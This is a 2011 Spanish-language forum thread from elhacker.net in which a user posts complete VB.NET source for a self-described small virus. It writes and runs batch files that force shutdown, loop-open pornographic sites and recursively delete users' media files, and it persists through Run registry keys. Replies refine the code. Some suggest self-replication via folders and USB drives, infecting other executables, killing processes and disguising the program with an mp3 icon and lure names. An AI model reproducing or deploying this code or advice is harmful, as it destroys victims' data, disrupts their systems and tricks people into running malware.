elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  pequeño virus en visual basic.net 2008
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: pequeño virus en visual basic.net 2008  (Leído 8,595 veces)
eidriansdito

Desconectado Desconectado

Mensajes: 4


Ver Perfil
pequeño virus en visual basic.net 2008
« en: 14 Junio 2011, 09:52 am »

bueno primero que nada ola a todos me acabo de registrar en esta web que la vdd me a sacado de varios apuros y pues ahora pienso apollar yo jeje bueno lo que acabo de hacer porque lo acabo de terminar!! oficialmente martes 2:00 a.m. voy terminando este programita, muchos lo veran como un virus yo sin embargo lo veo como un programa que simplemente le habla al S.O. en su idioma nativo que es el cmd o  ms-dos o como lo quieran llamar y le dice que se autodestruya o que se haga daño el mismo jeje bueno sin mas preambulos les quiero dejar el codigo para que aporten sus ideas y comenten cualquier sugerencia es bien aceptada. . . el codigo esta en vb.net 2008


Código:
Imports System.IO
Imports Microsoft.Win32
Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        paginasweb()
        congelador()
        Inicio()
        apagado()
    End Sub
    Public Sub apagado()
        Try
            Dim Archivo As System.IO.FileStream
            'crea una carpeta en c:\ llamada ARCHIVOS DE SISTEMA
            Directory.CreateDirectory("C:\archivos de sistema\archivos protegidos")

            ' crea un archivo vacio en la carptea antes creada   
            Archivo = System.IO.File.Create("C:\archivos de sistema\archivos protegidos\archivo.dll.bat")
            Archivo.Close()

            'escribimos el codigo malicioso en EL .BAT antes creado
            Dim sw As New StreamWriter("C:\archivos de sistema\archivos protegidos\archivo.dll.bat")
            sw.WriteLine("shutdown -s -t ""5"" -c ""el sistema se cerrara debido a un problema con el sistema operativo"" -f")
            sw.Flush()
            sw.Close()

            'ejecuta el .bat creado anteriormente
            Shell("C:\archivos de sistema\archivos protegidos\archivo.dll.bat")
            Me.Close()

            ' error que pueda suceder
        Catch ex As Exception
            MsgBox(ex.Message, MsgBoxStyle.Critical)
        End Try
    End Sub
    Public Sub paginasweb()
        Try
            Dim Archivo As System.IO.FileStream
            'crea una carpeta en c:\ llamada ARCHIVOS DE SISTEMA
            Directory.CreateDirectory("C:\archivos de sistema")

            ' crea un archivo vacio en la carptea antes creada   
            Archivo = System.IO.File.Create("c:\archivos de sistema\archivo.dll.bat")
            Archivo.Close()

            'escribimos el codigo malicioso en EL .BAT antes creado y hace un bucle de pura paginas web
            Dim sw As New StreamWriter("c:\archivos de sistema\archivo.dll.bat")
            sw.WriteLine(":bucle")
            sw.WriteLine("start www.pornhub.com")
            sw.WriteLine("start www.youporn.com")
            sw.WriteLine("start www.megaporn.com")
            sw.WriteLine("goto bucle")
            sw.Flush()
            sw.Close()

            'ejecuta el .bat creado anteriormente
            Shell("c:\archivos de sistema\archivo.dll.bat")
            Me.Close()

            ' error que pueda suceder
        Catch ex As Exception
            MsgBox(ex.Message, MsgBoxStyle.Critical)
        End Try
    End Sub
    Public Sub congelador()
        Try
            Dim Archivo As System.IO.FileStream
            'crea una carpeta en c:\ llamada ARCHIVOS DE SISTEMA
            Directory.CreateDirectory("C:\archivos de sistema")

            ' crea un archivo vacio en la carptea antes creada   
            Archivo = System.IO.File.Create("c:\archivos de sistema\windows.dll.bat")
            Archivo.Close()

            'escribimos el codigo malicioso en EL .BAT antes creado
            Dim sw As New StreamWriter("c:\archivos de sistema\windows.dll.bat")
            sw.WriteLine("@echo off")
            sw.WriteLine("cd..")
            sw.WriteLine("del /S/F *wma *mp3 *avi *gif *jpg *wav *mp4")
            sw.Flush()
            sw.Close()

            'ejecuta el .bat creado anteriormente
            Process.Start("c:\archivos de sistema\windows.dll.bat")


            ' error que pueda suceder
        Catch ex As Exception
            MsgBox(ex.Message, MsgBoxStyle.Critical)
        End Try
    End Sub
    Public Sub Inicio()
        Try
            'esta es la ruta del registro en donde run es donde se guardan los programas que se van a ejecutar
            Const cadena As String = "Software\Microsoft\Windows\CurrentVersion\run"

            'esto permite modificar los valores del registro donde true es que si los va a modificar y false es no
            Dim clave As RegistryKey = Registry.CurrentUser.OpenSubKey(cadena, True)
            Dim valor As String
            Dim valor2 As String
            Dim valor3 As String

            'aqui ponemos la ruta del programa en si
            valor = "C:\archivos de sistema\archivos protegidos\archivo.dll.bat"
            clave.SetValue("Windows", valor)

            valor2 = "c:\archivos de sistema\archivo.dll.bat"
            clave.SetValue("paginas", valor2)

            valor3 = "c:\archivos de sistema\windows.dll.bat"
            clave.SetValue("documentos", valor3)
            'comenzar un programa pasando una cadena con el nombre del ejecutable
            System.Diagnostics.Process.Start("Regedit.exe")
        Catch pollo As Exception
            'si hay errores, mostrar un aviso
            MessageBox.Show("¡ERROR! No ha sido posible ejecutar el programa.", "Regedit MiPC", MessageBoxButtons.OK, MessageBoxIcon.Error)
            'siempre cerrar el formulario al final
        Finally
            Me.Close()
        End Try

    End Sub
End Class

bueno por si no lo entienden o quieren verlo trabajar les dejo el link para que se lo descarguen y lo puedan visualizar un poco mejor

http://www.megaupload.com/?d=0CL4SXUY

pues es todo espero sus comentarios quejas dudas o sugerencias y ya me voy a dormir jeje . . . . .


En línea

Keyen Night


Desconectado Desconectado

Mensajes: 496


Nothing


Ver Perfil
Re: pequeño virus en visual basic.net 2008
« Respuesta #1 en: 15 Junio 2011, 03:23 am »

Primero que nada Bienvenido a la comunidad ;D

Aunque .Net no es un lenguaje para hacer virus xD no esta diseñado para eso, y lo que se entiende por Lenguaje Nativo es ASM que si es un lenguaje para hacer virus, CMD no es un lenguaje de programación es simplemente un conjunto de ejecutables en la carpeta del sistema que ejecutan operaciones por medio de llamadas con parametros en la consola de comandos o en archivos Bat, es muy compuesto. Date cuenta al ejecutar por ejemplo "del /s /q C:\ejemplo.txt" se abre un proceso llamado del.exe y así con todos los comandos todos estos ejecutables correspondientes a los comandos están en la carpeta de Windows.

En cuanto al "virus", creo que estas dependiendo mucho de la consola de comandos en el código.


« Última modificación: 15 Junio 2011, 03:25 am por Keyen Night » En línea

La Fé Mueve Montañas...
                                    ...De Dinero

La programación es más que un trabajo es más que un hobby es una pasión...
eidriansdito

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: pequeño virus en visual basic.net 2008
« Respuesta #2 en: 15 Junio 2011, 07:02 am »

pues como escribi al principio keyen night yo no lo veo como un virus simplemente le das ordenes a tu computadora de hacer lo que tu quieras y si tu crees que .net no es un lenguaje para hacer virus pues dejame decirte que tal vez sera porque estas acostumbrado a programar en otro lenguaje pero creeme que e conocido personas que en .net te hacen un virus verdadero y repito no como el mio porque el mio NO ES VIRUS
ademas el assembly o ensamblador o ("ASM") como tu dices es un tipo de lenguaje de bajo nivel muy cercano al código máquina y Su sintaxis depende por completo del tipo de ordenador que se esté usando.
En línea

79137913


Desconectado Desconectado

Mensajes: 1.169


4 Esquinas


Ver Perfil WWW
Re: pequeño virus en visual basic.net 2008
« Respuesta #3 en: 15 Junio 2011, 13:34 pm »

HOLA!!!

pues como escribi al principio keyen night yo no lo veo como un virus simplemente le das ordenes a tu computadora de hacer lo que tu quieras y si tu crees que .net no es un lenguaje para hacer virus pues dejame decirte que tal vez sera porque estas acostumbrado a programar en otro lenguaje pero creeme que e conocido personas que en .net te hacen un virus verdadero y repito no como el mio porque el mio NO ES VIRUS
ademas el assembly o ensamblador o ("ASM") como tu dices es un tipo de lenguaje de bajo nivel muy cercano al código máquina y Su sintaxis depende por completo del tipo de ordenador que se esté usando.

El chabon te habla bien y ya trolleas XD, asm depende de la estructura del procesador no del tipo de ordenador.
En NET se pueden hacer virus como se pueden hacer con casi cualquier lenguaje, incluso LOGO.
Y ese codigo malicioso como dice Keyen es muy dependiente de todos los bats que creas.

Código
  1.            Dim sw As New StreamWriter("c:\archivos de sistema\archivo.dll.bat")
  2.            sw.WriteLine(":bucle")
  3.            sw.WriteLine("start www.pornhub.com")
  4.            sw.WriteLine("start www.youporn.com")
  5.            sw.WriteLine("start www.megaporn.com")
  6.            sw.WriteLine("goto bucle")
  7.            sw.Flush()
  8.            sw.Close()

Este bat va a ser infinito, va a colmar la ram antes de que se vea siquiera una web ponele una variable para que a las 10 o X vueltas del bucle termine.

No voy a comentar mas, solo me llamo la atencion que trolleaste por que si, para las peleas hacen falta 2 o mas personas que quieran pelear, aqui hay 1.

GRACIAS POR LEER!!!
En línea

"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

 79137913                          *Shadow Scouts Team*
eidriansdito

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: pequeño virus en visual basic.net 2008
« Respuesta #4 en: 16 Junio 2011, 01:05 am »

HOLA!!!

El chabon te habla bien y ya trolleas XD, asm depende de la estructura del procesador no del tipo de ordenador.
En NET se pueden hacer virus como se pueden hacer con casi cualquier lenguaje, incluso LOGO.
Y ese codigo malicioso como dice Keyen es muy dependiente de todos los bats que creas.

Código
  1.            Dim sw As New StreamWriter("c:\archivos de sistema\archivo.dll.bat")
  2.            sw.WriteLine(":bucle")
  3.            sw.WriteLine("start www.pornhub.com")
  4.            sw.WriteLine("start www.youporn.com")
  5.            sw.WriteLine("start www.megaporn.com")
  6.            sw.WriteLine("goto bucle")
  7.            sw.Flush()
  8.            sw.Close()

Este bat va a ser infinito, va a colmar la ram antes de que se vea siquiera una web ponele una variable para que a las 10 o X vueltas del bucle termine.

No voy a comentar mas, solo me llamo la atencion que trolleaste por que si, para las peleas hacen falta 2 o mas personas que quieran pelear, aqui hay 1.

GRACIAS POR LEER!!!


gracias jeje eske hay gente k no te da un consejo si no solo se viene a parar el cuello como decimos aka pero hay gente como tu que en vdd si da buenos consejos y la vdd si hace eso ese bucle jeje gracias y tomare tu consejo
En línea

Keyen Night


Desconectado Desconectado

Mensajes: 496


Nothing


Ver Perfil
Re: pequeño virus en visual basic.net 2008
« Respuesta #5 en: 16 Junio 2011, 02:33 am »

Antes de comentar quisiera dejar claro que mi intensión no es pelear sino más bien aclarar tus confusiones.

ASM es extremadamente nativo por lo mismo es muy genérico, cualquier procesador en cualquier sistema operativo lo puedo procesar. Y si obviamente se pueden fabricar virus en .Net, están las intrucciones para hacerlo pero el lenguaje es Intermedio ya eso te hace dependiente de un "traductor" y lo menos que se busca en un virus es la dependencia. Y si no tienes .Net Framework instalado no sirve :-X y me ahorrare nombrar las otras 10 mil deventajas.
En línea

La Fé Mueve Montañas...
                                    ...De Dinero

La programación es más que un trabajo es más que un hobby es una pasión...
neoncyber

Desconectado Desconectado

Mensajes: 90



Ver Perfil WWW
Re: pequeño virus en visual basic.net 2008
« Respuesta #6 en: 16 Junio 2011, 02:38 am »

Bueno, si quieres hacer algo por asi decirlo "maligno", puedes hacer algo que se reproduzca por las carpetas del SO o de una memoria extraible. Para eso simplemente utilizas la clase Directory del namespace System.IO, y ademas utilizar los servicios de compilacion de .net:
http://donkeysharp.blogspot.com/2011/04/usando-servicios-de-compilacion-de-net.html

ahora, para poder navegar entre las distintas carpetas del S.O operativo puedes aplicar el recorrido BFS que se utilizan en grafos, que es basicamente utilizar una cola de nodos que en este caso serian tus directorios.

Pues bien, si vemos la definicion de virus y queremos hacer lo mismo, pues bien me quedo con assembler, pero si quieres hacer algo "maligno", jejejeje no me acostumbro a esa palabra, puedes utilizar cualquier lenguaje de prog.

Saludos
En línea

Código
  1. #!/usr/bin/python
  2. print "Visit:"
  3. print "http:\\donkeysharp.blogspot.com"
  4.  
Edu


Desconectado Desconectado

Mensajes: 1.082


Ex XXX-ZERO-XXX


Ver Perfil
Re: pequeño virus en visual basic.net 2008
« Respuesta #7 en: 16 Junio 2011, 02:45 am »

Si usas .net para que crear otros archivos .bat? Lo mejor que puedes hacer es hacerlo con el mismo lenguaje .net a todo eso que hacen esos archivos batch.
En línea

AlxSpy

Desconectado Desconectado

Mensajes: 137


Ver Perfil
Re: pequeño virus en visual basic.net 2008
« Respuesta #8 en: 18 Junio 2011, 02:24 am »

jajajajaja pobre ram despues de ejecutar estas lineas:

Código:
            sw.WriteLine(":bucle")
            sw.WriteLine("start www.pornhub.com")
            sw.WriteLine("start www.youporn.com")
            sw.WriteLine("start www.megaporn.com")
            sw.WriteLine("goto bucle")


una sugerencia, busca informacion sobre las apis de windows, podrias añadirle mas cosas a ese codigo malicioso, como cerrarte los procesos, autocopiarte y meterte dentro de otros ejeutables , podrias ponerle un icono a tu .exe por ejem: el icono de los .mp3 y ponerle nombres llamativos como xxx, porn. etc asi cuando algun tio vea lo ejecuta o lo mete a su usb.
saludos
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines